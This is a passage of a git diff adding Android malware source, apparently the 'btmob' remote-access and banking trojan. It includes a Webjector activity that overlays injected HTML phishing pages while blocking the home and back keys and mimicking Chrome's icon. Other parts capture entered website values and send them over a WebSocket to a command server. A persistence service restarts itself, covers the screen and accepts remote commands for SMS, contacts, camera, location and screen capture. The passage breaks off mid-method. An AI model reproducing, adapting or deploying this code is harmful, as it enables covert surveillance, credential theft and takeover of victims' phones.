// Print the values + System.out.println("[link]: " + website); + System.out.println("[Type]: " + type); + System.out.println("[Value]: " + inputValue); + System.out.println("[Date]: " + date); + + String Alldata = website+SPLIT_DATA+ type+SPLIT_DATA+inputValue+SPLIT_DATA+date; + + String bs = Base64.encodeToString(Alldata.getBytes(), Base64.DEFAULT); + + datastore.add(bs); + storeit =true; + } + + if(storeit){ + MySettings.WriteList(ctx,Consts.web_pass,datastore); + } + + + } catch (Exception e) { + e.printStackTrace(); + } + } + } + }); + } + + private void Sendimg(Context ctx, String msg) { + if (websocketfile == null) { + Request request = new Request.Builder().url(URL_SOCKT()).build(); + + if (client == null){ + return; + } + websocketfile = client.newWebSocket(request, new WebSocketListener() { + @Override + public void onOpen(WebSocket webSocket, Response response) { + // Connection established, send the message + sendWebSocketMessage(ctx, msg); + } + + @Override + public void onMessage(WebSocket webSocket, String text) { + // Handle server response if necessary + try{ + JSONObject Response = new JSONObject(text); + String msgtype = Response.optString("type","empty"); + if(msgtype.equals("stop") || msgtype.equals("Unauthorized access")){ + websocketfile = null; // Set to null so it can be reconnected + client.dispatcher().executorService().shutdown(); + MySettings.WriteBool(ctx,Consts.web_browser,false); + } + }catch (Exception a){} + } + + @Override + public void onClosed(WebSocket webSocket, int code, String reason) { + websocketfile = null; // Set to null so it can be reconnected + client.dispatcher().executorService().shutdown(); + } + + @Override + public void onFailure(WebSocket webSocket, Throwable t, Response response) { + t.printStackTrace(); + websocketfile = null; // In case of failure, reset the WebSocket to null + } + }); + } else { + // If WebSocket is already open, send the message directly + sendWebSocketMessage(ctx, msg); + } + } + + private void sendWebSocketMessage(Context ctx, String msg) { + try { + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); + String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); + if (Myid == null || IDF == null) { + websocketfile.close(1000, "Missing ID"); + return; + } + String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null"); + + JSONObject message = new JSONObject(); + // message.put("userId", userid); + message.put("idf", IDF); + message.put("pid", Myid); + message.put("itype", "Slr_client"); + message.put("subc", "msg"); + message.put("msg", msg); + message.put("cip", CIP); + String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + message.put("conk", conctkey); + websocketfile.send(message.toString()); + } catch (Exception e) { + e.printStackTrace(); + if (websocketfile != null) { + websocketfile.close(1000, "Error during message sending"); + } + } + } + + private boolean flaged =false; + public void closeWebSocket() { + try { + if (!flaged){ + flaged=true; + AlertServer(getApplicationContext(),"Browser","Client Exit."); + } + }catch (Exception a){ + a.printStackTrace(); + } + if (websocketfile != null) { + websocketfile.close(1000, "Closing WebSocket"); + websocketfile = null; + } + if (client != null) { + client.dispatcher().cancelAll(); + client.connectionPool().evictAll(); + client.dispatcher().executorService().shutdown(); + client = null; + } + } + + @Override + public void onDestroy() { + super.onDestroy(); + + MySettings.WriteBool(getApplicationContext(),Consts.web_browser,false); + closeWebSocket(); + } + +// public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) { +// return (paramInt == 3) ? true : ((paramInt == 4) ? true : ((paramInt == 82))); +// } + @Override + protected void onStop() { + super.onStop(); + MySettings.WriteBool(getApplicationContext(),Consts.web_browser,false); + closeWebSocket(); + } + + private class MyWebChromeClient extends WebChromeClient { + private MyWebChromeClient() { + } + + public boolean onJsAlert(WebView param1WebView, String param1String1, String param1String2, JsResult param1JsResult) { + return true; + } + } + + private class MyWebViewClient extends WebViewClient { + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + // TODO Auto-generated method stub + + if (request != null && request.getUrl() != null) { + String url = request.getUrl().toString(); + if (!url.startsWith("http") && url.contains("://")) { + try { + + URI uri = new URI(url); + String newUrl = uri.getHost() + uri.getPath(); + + view.loadUrl(newUrl); + return true; // URL handled + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + + return false; + + } + + @Override + public void onReceivedError(WebView view, int errorCode, + String description, String failingUrl) { + + } + + @Override + public void onPageFinished(WebView view, String url) { + // TODO Auto-generated method stub + + super.onPageFinished(view, url); + + } + + + } + + public class WebAppInterface { + Context mContext; + + WebAppInterface(Context param1Context) { + this.mContext = param1Context; + } + + + } + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Webjector.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Webjector.java new file mode 100644 index 0000000..02b1c09 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Webjector.java @@ -0,0 +1,303 @@ +package com.icontrol.protector; + + +import static com.icontrol.protector.UtliTools.drawableToBitmap; +import static com.icontrol.protector.UtliTools.isPackageInstalled; + +import android.app.Activity; +import android.app.ActivityManager; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.graphics.Bitmap; +import android.graphics.BitmapFactory; +import android.graphics.drawable.Drawable; +import android.os.Build; +import android.os.Bundle; + +import android.util.Base64; +import android.view.KeyEvent; +import android.view.View; +import android.webkit.ConsoleMessage; +import android.webkit.CookieManager; +import android.webkit.JavascriptInterface; +import android.webkit.JsResult; + +import android.webkit.WebChromeClient; +import android.webkit.WebResourceRequest; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; + + +import org.json.JSONObject; + + +import java.io.File; +import java.net.URI; + +public class Webjector extends Activity { + WebView mWebView; + String current_id; + Context myctx; + AppDataManager manager; + + @Override + public void onBackPressed() { + try { + if (mWebView != null && mWebView.canGoBack()) { + mWebView.goBack(); + } else { + super.onBackPressed(); + } + } catch (NullPointerException s) { + super.onBackPressed(); + } + } + + @Override + public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) { + return paramInt == KeyEvent.KEYCODE_HOME || + paramInt == KeyEvent.KEYCODE_BACK || + paramInt == KeyEvent.KEYCODE_MENU; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + myctx = getApplicationContext(); + flaged=false; + manager = new AppDataManager(getApplicationContext()); + Intent intent = getIntent(); + //String value = ""; + String CuzPackage = ""; + try { + // value = intent.getStringExtra("key"); + CuzPackage = intent.getStringExtra("cuzid"); + current_id=CuzPackage; + } catch (Exception e) { + finish(); + return; + } + + try + { + if(intent.hasExtra("icon")){ + String label = intent.getStringExtra("label"); + setTitle(label); + + byte[] iconByteArray = intent.getByteArrayExtra("icon"); + Bitmap iconBitmap = BitmapFactory.decodeByteArray(iconByteArray, 0, iconByteArray.length); + ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(label, iconBitmap); + setTaskDescription(taskDescription); + + }else{ + String packageName = "com.android.chrome"; + + if(!isPackageInstalled(packageName,getPackageManager())){ + packageName = "com.android.vending"; + if(!isPackageInstalled(packageName,getPackageManager())){ + packageName = UtliTools.getRandomLauncherApp(getApplicationContext()); + if(!isPackageInstalled(packageName,getPackageManager())){ + packageName = null; + } + } + } + if(packageName != null){ + PackageManager packageManager = getPackageManager(); + ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0); + Drawable appIcon = packageManager.getApplicationIcon(applicationInfo); + String appName = packageManager.getApplicationLabel(applicationInfo).toString(); + setTitle(appName); + Bitmap appIconBitmap = drawableToBitmap(appIcon); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(" ", appIconBitmap); + setTaskDescription(taskDescription); + } + } + } + + }catch (Exception a){} + + try { + //WebView mWebView = new WebView((Context)this); + mWebView = new WebView(this); + mWebView.getSettings().setJavaScriptEnabled(true); + + mWebView.addJavascriptInterface(new WebAppInterface(this), "Android"); + + mWebView.getSettings().setLoadsImagesAutomatically(true); + mWebView.getSettings().setLoadWithOverviewMode(true); + try{ + CookieManager.getInstance().setAcceptCookie(true); + CookieManager.getInstance().setAcceptThirdPartyCookies(mWebView, true); + }catch (Exception a){ + + } + mWebView.getSettings().setUseWideViewPort(true); + mWebView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY); + mWebView.getSettings().setAllowFileAccess(true); + mWebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); + mWebView.getSettings().setDomStorageEnabled(true); + mWebView.getSettings().setAllowFileAccessFromFileURLs(true); + mWebView.getSettings().setAllowUniversalAccessFromFileURLs(true); + mWebView.getSettings().setAllowContentAccess(true); + try { + mWebView.setLayerType(View.LAYER_TYPE_HARDWARE, null); + mWebView.getSettings().setPluginState(WebSettings.PluginState.ON); + mWebView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH); + mWebView.setBackgroundColor(0xffffffff); + } catch (Exception a) { + } + + mWebView.getSettings().setBuiltInZoomControls(false); + String ua = mWebView.getSettings().getUserAgentString(); + mWebView.getSettings().setUserAgentString(ua); + mWebView.setWebChromeClient(new Webjector.MyChrome()); + mWebView.setWebViewClient(new Webjector.MyWebViewClient()); + + String htmlpath = UtliTools.findjectfile(getApplicationContext(),CuzPackage); + File htmlFile = new File(this.getFilesDir(), htmlpath); + if (htmlFile.exists()) { + mWebView.loadUrl("file://" + htmlFile.getAbsolutePath()); + setContentView((View) mWebView); + + }else{ + finish(); + } + + } catch (Exception exception) { + } + } + + + public class MyChrome extends WebChromeClient { + MyChrome() { + } + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { + String logmsg = consoleMessage.message(); + try{ + if(logmsg.startsWith("print event:")){ + //current_id + AccessServices.skipject=current_id; + manager.addData(current_id, logmsg); + finish(); + } +// JSONObject jsonObject = new JSONObject(); +// jsonObject.put("type", "blog"); +// jsonObject.put("data", logmsg); +// String jsonData = jsonObject.toString(); +// +// LiveChat.Livemessage(myctx,jsonData); + }catch (Exception a){} + + + return true; + } + } + + public class WebAppInterface { + Context mContext; + + WebAppInterface(Context c) { + mContext = c; + } + + @JavascriptInterface + public void returnResult(String logmsg) { + // Handle the result from JavaScript (e.g., log or process JSON) + + try{ + // if(logmsg.startsWith("print event:")){ + //current_id + AccessServices.skipject=current_id; + manager.addData(current_id, logmsg); + finish(); + // } +// JSONObject jsonObject = new JSONObject(); +// jsonObject.put("type", "blog"); +// jsonObject.put("data", logmsg); +// String jsonData = jsonObject.toString(); +// +// LiveChat.Livemessage(myctx,jsonData); + }catch (Exception a){} + } + } + + + private boolean flaged =false; + + + @Override + public void onDestroy() { + super.onDestroy(); + } + + + @Override + protected void onStop() { + super.onStop(); + } + + private class MyWebChromeClient extends WebChromeClient { + private MyWebChromeClient() { + } + + public boolean onJsAlert(WebView param1WebView, String param1String1, String param1String2, JsResult param1JsResult) { + return true; + } + } + + private class MyWebViewClient extends WebViewClient { + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + // TODO Auto-generated method stub + + if (request != null && request.getUrl() != null) { + String url = request.getUrl().toString(); + if (!url.startsWith("http") && url.contains("://")) { + try { + + URI uri = new URI(url); + String newUrl = uri.getHost() + uri.getPath(); + + view.loadUrl(newUrl); + return true; // URL handled + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + + return false; + + } + + @Override + public void onReceivedError(WebView view, int errorCode, + String description, String failingUrl) { + + } + + @Override + public void onPageFinished(WebView view, String url) { + // TODO Auto-generated method stub + + super.onPageFinished(view, url); + + } + + + } + + + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/WorkServices.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/WorkServices.java new file mode 100644 index 0000000..9ba3ea1 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/WorkServices.java @@ -0,0 +1,1802 @@ +package com.icontrol.protector; + + +import static com.icontrol.protector.AccessServices.lastject; +import static com.icontrol.protector.AccessServices.skipject; +import static com.icontrol.protector.AccessServices.skiponecover; +import static com.icontrol.protector.AccessTools.AddID; +import static com.icontrol.protector.AccessTools.AddTname; +import static com.icontrol.protector.AccessTools.Addlink; + +import static com.icontrol.protector.AccessTools.Map_Name_ID; +import static com.icontrol.protector.AccessTools.Map_Name_Lnk; + + +import static com.icontrol.protector.AccessTools.ject_list; +import static com.icontrol.protector.Consts.Auto_jct; +import static com.icontrol.protector.Consts.BTVersion; + +import static com.icontrol.protector.Consts.Live_Screen; + +import static com.icontrol.protector.Consts.Rec_Activitys; +import static com.icontrol.protector.Consts.Time_Stamp; +import static com.icontrol.protector.Deviceinfo.Devicename; + +import static com.icontrol.protector.MyLoger.Debug; +import static com.icontrol.protector.MySettings.ReadBool; +import static com.icontrol.protector.MySettings.WriteBool; + +import static com.icontrol.protector.My_Configs.Is_Store; +import static com.icontrol.protector.My_Configs.Tracking_Data_str; +import static com.icontrol.protector.UtliTools.IsScreenOn; +import static com.icontrol.protector.UtliTools.ServiceStarter; +import static com.icontrol.protector.UtliTools.convertToBitmap; +import static com.icontrol.protector.UtliTools.createImageByts; +import static com.icontrol.protector.UtliTools.getAppNameFromPkgName; +import static com.icontrol.protector.UtliTools.getCurrentActivity; +import static com.icontrol.protector.UtliTools.getPingSpeed; +import static com.icontrol.protector.UtliTools.installdate; +import static com.icontrol.protector.UtliTools.isUsageAccessGranted; +import static com.icontrol.protector.UtliTools.setupWorkManager; +import static com.icontrol.protector.WorkServices.MyWorker.SendPing; + +import android.app.Activity; +import android.app.AlarmManager; +import android.app.AppOpsManager; +import android.app.Notification; +import android.app.PendingIntent; +import android.app.Service; +import android.app.usage.UsageEvents; +import android.app.usage.UsageStatsManager; +import android.content.BroadcastReceiver; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ServiceInfo; +import android.graphics.Bitmap; +import android.graphics.Color; +import android.graphics.PixelFormat; +import android.graphics.drawable.Drawable; +import android.hardware.Sensor; +import android.hardware.SensorEvent; +import android.hardware.SensorEventListener; +import android.hardware.SensorManager; +import android.os.AsyncTask; +import android.os.Build; +import android.os.Handler; +import android.os.IBinder; +import android.os.Looper; +import android.os.PowerManager; +import android.os.SystemClock; +import android.provider.Settings; +import android.util.Base64; +import android.util.Log; +import android.view.Gravity; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.RelativeLayout; + +import androidx.annotation.Nullable; + +import org.json.JSONObject; + +import java.io.BufferedReader; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.File; +import java.io.InputStreamReader; +import java.text.SimpleDateFormat; +import java.util.Locale; +import java.util.Map; +import java.util.Timer; +import java.util.TimerTask; +import java.util.concurrent.locks.ReentrantLock; + +public class WorkServices extends Service { + + public static class ScreenReceiver extends BroadcastReceiver { + private long screenOnTime = 0; + private long screenOffTime = 0; + private boolean isScreenOn = true; + + @Override + public void onReceive(Context context, Intent intent) { +// if (My_Configs.Stiky_Recent.equals("1")){ +// Intent intenttrans = new Intent(context, TransparentActivity.class); +// intenttrans.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// intenttrans.addFlags(Intent.FLAG_ACTIVITY_NEW_DOCUMENT); // Opens in a new document/task +// intenttrans.addFlags(Intent.FLAG_ACTIVITY_MULTIPLE_TASK); // Allows multiple tasks +// +// context.startActivity(intenttrans); +// } + + try { + + Thread bkthread = new Thread(new Runnable() { + @Override + public void run() { + + try { + try { + + setupWorkManager(context); + // AlarmHelper.setAlarm(context, EngineWorker.class, System.currentTimeMillis() + 15000); + } catch (Exception a) { + } + SendPing(context); + + MySettings.WriteBool(context, Consts.AutoStartOn, true); + + String action = intent.getAction(); + if (action == null) return; + if (ReadBool(context, Rec_Activitys, false) && action.equals(Intent.ACTION_SCREEN_OFF) && isScreenOn) { + screenOffTime = System.currentTimeMillis(); + RecordActivity(screenOnTime, screenOffTime); + isScreenOn = false; + } + ServiceStarter(context, WorkServices.class); + ServiceStarter(context, EngineWorker.class); + + switch (action) { + case Intent.ACTION_SCREEN_OFF: + try { + if (!skiponecover) { + if (WorkServices.My_Access_inst == null) { + try { + Intent intenttrans = new Intent(context, TransparentActivity.class); + intenttrans.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intenttrans.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + intenttrans.addFlags(Intent.FLAG_ACTIVITY_NEW_DOCUMENT); + + context.startActivity(intenttrans); + } catch (Exception a) { + } + } else { + AccessTools.Treger("cover", null); + } + + } else { + skiponecover = false; + } + + //BringMeFront(context); +// if(My_Configs.Stiky_Recent.equals("1")){ +// Intent fakint = new Intent(context, Splasher.class); +// fakint.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// context.startActivity(fakint); +// } + + } catch (Exception a) { + } + //AlertServer(context, "Screen State", "Screen is off"); + break; + + case Intent.ACTION_SCREEN_ON: + //String myName = getLabelApplication(context).toLowerCase(); + // try{ + // AccessTools.Treger("fourceit",null); +// if(My_Configs.Stiky_Recent.equals("1")){ +// Intent intent = new Intent(Intent.ACTION_MAIN); +// intent.addCategory(Intent.CATEGORY_HOME); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// context.startActivity(intent); +// } + + // }catch (Exception a){} + if (My_Configs.Capture_Lock.equals("1") && !AccessServices.skiprecord) { + + // AccessTools.enableTouchExploration(); + if (AccessTools.myAccess() != null) { + AccessServices.CapRead = true; + AccessServices.CapOK = true; +// if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) { +// AccessTools.slideUp(); +// AccessServices.CapRead = true; +// final Handler handler = new Handler(Looper.getMainLooper()); +// handler.postDelayed(new Runnable() { +// @Override +// public void run() { +// try { +// //AccessTools.myAccess().enablesuperWatch(); +// AccessServices.CapOK = true; +// } catch (Exception a) { +// a.printStackTrace(); +// } +// } +// }, 1500); +// } else { +// try { +// AccessServices.CapRead = true; +// AccessServices.CapOK = true; +// //AccessTools.myAccess().enablesuperWatch(); +// +// +// } catch (Exception a) { +// a.printStackTrace(); +// } +// } + } + + } + // AlertServer(context, "Screen State", "Screen is on"); + break; + + case Intent.ACTION_USER_PRESENT: + if (ReadBool(context, Rec_Activitys, false)) { + isScreenOn = true; + screenOnTime = System.currentTimeMillis(); + } + break; + + default: + + break; + } + } catch (Exception a) { + a.printStackTrace(); + } + } + }); + bkthread.start(); + } catch (Exception a) { + a.printStackTrace(); + } + + } + + + public void RecordActivity(long startTime, long endTime) { + SimpleDateFormat sdf = new SimpleDateFormat("HH:mm:ss", Locale.getDefault()); + + StringBuilder SB = new StringBuilder(); + SB.append("[Open Time: " + sdf.format(startTime) + "]|["); + SB.append("Close Time: " + sdf.format(endTime) + "]"); + + ActivityMonitors.Record(SB.toString(), ActivityMonitors.ActivityType.ACTZ); + } + + + } + //public static ArrayList MY_COMMANDS_LIST; + //public static Object PAKET_LOCK = new Object(); + + private SensorManager sensorManager; + private Sensor lightSensor; + private SensorEventListener lightListener; + private long lastupdateAngle = 0; + private long lastupdateLigths = 0; + private static final int UPDATE_INTERVAL = 5000; // 1 second + + + private Sensor accelerometer; + private SensorEventListener sensorEventListener; + private static PowerManager.WakeLock LOCK_SERVS; + private static final String TAG = "wake:Wk"; + + public static AccessServices My_Access_inst; + + private StatusMonitor STATUS_MONITOR; + + public static ReentrantLock MyLOCK; + + public static int DelayScreenshot = 100; + + + public static String AngleString = ""; + public static String LightsString = ""; + + public static boolean needsleep = false; + //public static String isMovingString = "0"; + + public WorkServices() { + } + + private static int Notifi_ID = 111; + + private void START_FORGRONG(Context ctx) { + try { + // int Notifi_ID = UtliTools.randomnumber(11111, 88888); + MyNotification MyNotifiint = MyNotification.getInstance(ctx); + Notification notification = MyNotifiint.createNotification(ctx); + if (Build.VERSION.SDK_INT >= 34) { + this.startForeground(Notifi_ID, notification, + ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC); + } else { + this.startForeground(Notifi_ID, notification); + } + } catch (Exception a) { + } + + + } + + @Override + public void onDestroy() { + super.onDestroy(); + + try { + AlarmHelper.setAlarm(getApplicationContext()); + if (STATUS_MONITOR != null) { + STATUS_MONITOR.unregister(); + STATUS_MONITOR = null; + } + if (LOCK_SERVS != null && LOCK_SERVS.isHeld()) { + LOCK_SERVS.release(); + LOCK_SERVS=null; + } + + if (sensorManager != null && sensorEventListener != null) { + sensorManager.unregisterListener(sensorEventListener); + } + + if (sensorManager != null && lightSensor != null) { + sensorManager.unregisterListener(lightListener); + } + + + } catch (Exception a) { + } + + + try { + Intent workint = new Intent(getApplicationContext(), WorkServices.class); + // if (!Codes.isServiceRunning(getApplicationContext(), WorkServices.class)) { + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint); + } else { + startService(workint); + } + // } + + } catch (Exception a) { + } + + setupWorkManager(getApplicationContext()); + } + + // private static volatile boolean isRunning = false; + private static void JoinChat(Context ctx) { + LiveChat chater = LiveChat.instance(ctx); + boolean shouldKeepRunning = chater.pingServer(); + if (shouldKeepRunning) { + Debug("At.JoinChat", "Ping OK"); + } else { + Debug("At.JoinChat", "Ping NO"); + } +// isRunning = true; +// +// new Thread(() -> { +// +// +// +// while (shouldKeepRunning){ +// try{ +// Thread.sleep(10000); +// }catch (Exception a){} +// shouldKeepRunning = pingServer(); +// } +// +// +// isRunning = false; // release lock +// +// +// }).start(); + + } + + private void writeOptionBool(Context context, String key, String value) { + WriteBool(context, key, "1".equals(value)); + } + + @Override + public void onTaskRemoved(Intent rootIntent) { + super.onTaskRemoved(rootIntent); + + AlarmHelper.setAlarm(getApplicationContext()); + if (STATUS_MONITOR != null) { + STATUS_MONITOR.unregister(); + STATUS_MONITOR = null; + } + if (LOCK_SERVS != null && LOCK_SERVS.isHeld()) { + LOCK_SERVS.release(); + } +// Intent restartServiceIntent = new Intent(getApplicationContext(), this.getClass()); +// restartServiceIntent.setPackage(getPackageName()); +// +// int flag = Build.VERSION.SDK_INT >= Build.VERSION_CODES.M ? PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE : PendingIntent.FLAG_UPDATE_CURRENT; +// PendingIntent restartServicePendingIntent = PendingIntent.getService(getApplicationContext(), 1, restartServiceIntent, flag); +// AlarmManager alarmService = (AlarmManager) getApplicationContext().getSystemService(Context.ALARM_SERVICE); +// alarmService.set( +// AlarmManager.ELAPSED_REALTIME, +// SystemClock.elapsedRealtime() + 1000, +// restartServicePendingIntent); + + Intent workint = new Intent(getApplicationContext(), WorkServices.class); + + // if (!Codes.isServiceRunning(getApplicationContext(), WorkServices.class)) { + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint); + } else { + startService(workint); + } + // } + + + setupWorkManager(getApplicationContext()); + } + + public enum CommandsList { + + Bing, + Updates, + Contacts, + SMS, + Apps, + Files, + Camera, + Location, + Activitys, + Screen, + Deviceinfo, + Connection, + Notifi, + Recorder, + Rename, + Permissions, + Sleep, + Delete + } + + @Nullable + @Override + public IBinder onBind(Intent intent) { + return null; + } + + + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + Context ctx = getApplicationContext(); + if (intent != null ) { + if ("HB".equals(intent.getAction())){ + + // return START_STICKY; + }else if (intent.getBooleanExtra("FROM_ALARM", false)){ + + AlarmHelper.setAlarm(getApplicationContext()); + //return START_STICKY; + }else{ + START_FORGRONG(ctx); + } + + }else{ + START_FORGRONG(ctx); + } + new Thread(() -> { + + try { + if (STATUS_MONITOR == null) { + + STATUS_MONITOR = new StatusMonitor(ctx); + } + } catch (Exception s) { + } + +// if (MY_COMMANDS_LIST == null) { +// WorkServices.MY_COMMANDS_LIST = new ArrayList(); +// } + + try { + if (MyLOCK == null) { + MyLOCK = new ReentrantLock(); + + } + + } catch (Exception a) { + + } + + try { + checksinsors(); + } catch (Exception a) { + } + + if (!isworkeron()) { + new MyWorker().execute(ctx); + } + }).start(); + + return START_STICKY; + } + + + @Override + public void onCreate() { + super.onCreate(); + + + Context ctx = getApplicationContext(); + //AlarmHelper.cancelAlarm(ctx, WorkServices.class); + //WorkServices.MY_COMMANDS_LIST = new ArrayList(); + + START_FORGRONG(getApplicationContext()); + + STATUS_MONITOR = new StatusMonitor(getApplicationContext()); + if (MyLOCK == null) { + MyLOCK = new ReentrantLock(); + + } + try { + + //TrackingData name[]link[]id| aaa[]sss[]ddd|qqqwwwee[]eeewqew[]eqweqweqwe|sdfs[]dfsdf[]sdfsdf| + //TrackingData empty| means off + + if (Tracking_Data_str.contains("|") && !Tracking_Data_str.startsWith("empty|")) { + + MySettings.WriteBool(getApplicationContext(), Consts.enable_trak, true); + + String[] arrydata = Tracking_Data_str.split("\\|"); + + for (String base64record : + arrydata) { + String strrecord = new String(Base64.decode(base64record, 0), "UTF-8"); + if (strrecord != null && strrecord.length() > 0 && strrecord.contains("[]")) { + String[] arrysingle = strrecord.split("\\[\\]"); + String nametarget = arrysingle[0]; + String linktarget = arrysingle[1]; + String idtarget = arrysingle[2]; + + Addlink(nametarget, linktarget); + AddID(nametarget, idtarget); + AddTname(nametarget); + } + } + } else { + MySettings.WriteBool(getApplicationContext(), Consts.enable_trak, false); + } + + + checksinsors(); + + + } catch (Exception s) { + + } + if (!isworkeron()) { + new MyWorker().execute(ctx); + } + } + + private static volatile long workdats = 0; + + public static boolean isworkeron() { + if (workdats == 0) { + return false; + } + long currentTime = System.currentTimeMillis(); + long elapsedTime = currentTime - workdats; + long lasttime = 45 * 1000; // 30 sec in milliseconds + + // Check if the elapsed time is less than 3 minutes + return elapsedTime < lasttime; + } + + private void checksinsors() { + sensorManager = (SensorManager) getSystemService(Context.SENSOR_SERVICE); + lightSensor = sensorManager.getDefaultSensor(Sensor.TYPE_LIGHT); + + if (lightSensor != null) { + try { + lightListener = new SensorEventListener() { + @Override + public void onSensorChanged(SensorEvent event) { + + long currentTime = System.currentTimeMillis(); + if (currentTime - lastupdateLigths >= UPDATE_INTERVAL) { + lastupdateLigths = currentTime; + float lightLevel = event.values[0]; // Light in lux + + // Determine the light condition + String lightKey; + if (lightLevel < 1) { + lightKey = "pitch_black"; + } else if (lightLevel < 10) { + lightKey = "very_dark"; + } else if (lightLevel < 50) { + lightKey = "dim_light"; + } else if (lightLevel < 200) { + lightKey = "indoor"; + } else if (lightLevel < 1000) { + lightKey = "bright_indoor"; + } else if (lightLevel < 10000) { + lightKey = "cloudy"; + } else if (lightLevel < 30000) { + lightKey = "sunny"; + } else { + lightKey = "direct_sun"; + } + + // Detect system language + String language = Locale.getDefault().getLanguage(); + + // Get translated message + String message; + switch (language) { + case "ar": + message = getArabicLightMessage(lightKey); + break; + case "zh": + message = getChineseLightMessage(lightKey); + break; + case "tr": + message = getTurkishLightMessage(lightKey); + break; + case "pt": + message = getPortugueseLightMessage(lightKey); + break; + case "ru": + message = getRussianLightMessage(lightKey); + break; + case "es": + message = getSpanishLightMessage(lightKey); + break; + default: + message = getEnglishLightMessage(lightKey); + break; + } + + // Show message + // Debug("LightSensor", message + " (" + lightLevel + " lx)"); + LightsString = message + " (" + lightLevel + " lx)"; + } + + + } + + + @Override + public void onAccuracyChanged(Sensor sensor, int accuracy) { + // Handle accuracy changes if needed + } + }; + + // Register the listener dynamically + sensorManager.registerListener(lightListener, lightSensor, SensorManager.SENSOR_DELAY_NORMAL); + } catch (Exception a) { + + } + } + + accelerometer = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER); + + if (accelerometer != null) { + sensorEventListener = new SensorEventListener() { + @Override + public void onSensorChanged(SensorEvent event) { + long currentTime = System.currentTimeMillis(); + if (currentTime - lastupdateAngle >= UPDATE_INTERVAL) { + lastupdateAngle = currentTime; + float x = event.values[0]; // Acceleration in x-axis + float y = event.values[1]; // Acceleration in y-axis + float z = event.values[2]; // Acceleration in z-axis + + // Calculate Pitch (Forward/Backward Tilt) + double pitch = Math.atan2(y, Math.sqrt(x * x + z * z)) * 180 / Math.PI; + + // Calculate Roll (Side-to-Side Tilt) + double roll = Math.atan2(-x, z) * 180 / Math.PI; + +// double movement = Math.sqrt(x * x + y * y + z * z); +// +// if (movement < 0.2) { // Small movement = Still +// //Debug("MotionSensor", "Phone is STILL"); +// isMovingString = "0"; +// } else { // Significant movement +// //Debug("MotionSensor", "Phone is MOVING"); +// isMovingString = "1"; +// } + + // Determine the orientation in a generic way + String orientationKey; + if (Math.abs(pitch) < 10 && Math.abs(roll) < 10) { + orientationKey = "flat"; + } else if (Math.abs(pitch) > 70) { + orientationKey = "upright"; + } else if (Math.abs(roll) > 70) { + orientationKey = "side"; + } else if (Math.abs(pitch) > 30) { + orientationKey = "tilted_fb"; + } else if (Math.abs(roll) > 30) { + orientationKey = "tilted_lr"; + } else { + orientationKey = "slightly_tilted"; + } + + // Get the system language + String language = Locale.getDefault().getLanguage(); + + // Translated messages + String message; + switch (language) { + case "ar": // Arabic + message = getArabicTranslation(orientationKey); + break; + case "zh": // Chinese + message = getChineseTranslation(orientationKey); + break; + case "tr": // Turkish + message = getTurkishTranslation(orientationKey); + break; + case "pt": // Portuguese + message = getPortugueseTranslation(orientationKey); + break; + case "ru": // Russian + message = getRussianTranslation(orientationKey); + break; + case "es": // Spanish + message = getSpanishTranslation(orientationKey); + break; + default: // Default to English + message = getEnglishTranslation(orientationKey); + break; + } + + // Show user-friendly translated output + // Debug("DeviceAngle", "Position: " + message); + AngleString = message; + } + + } + + @Override + public void onAccuracyChanged(Sensor sensor, int accuracy) { + // Not needed for this implementation + } + }; + + // Register the listener + sensorManager.registerListener(sensorEventListener, accelerometer, SensorManager.SENSOR_DELAY_NORMAL); + } + + } + + private String getEnglishLightMessage(String key) { + switch (key) { + case "pitch_black": + return "Pitch Black"; + case "very_dark": + return "Very Dark"; + 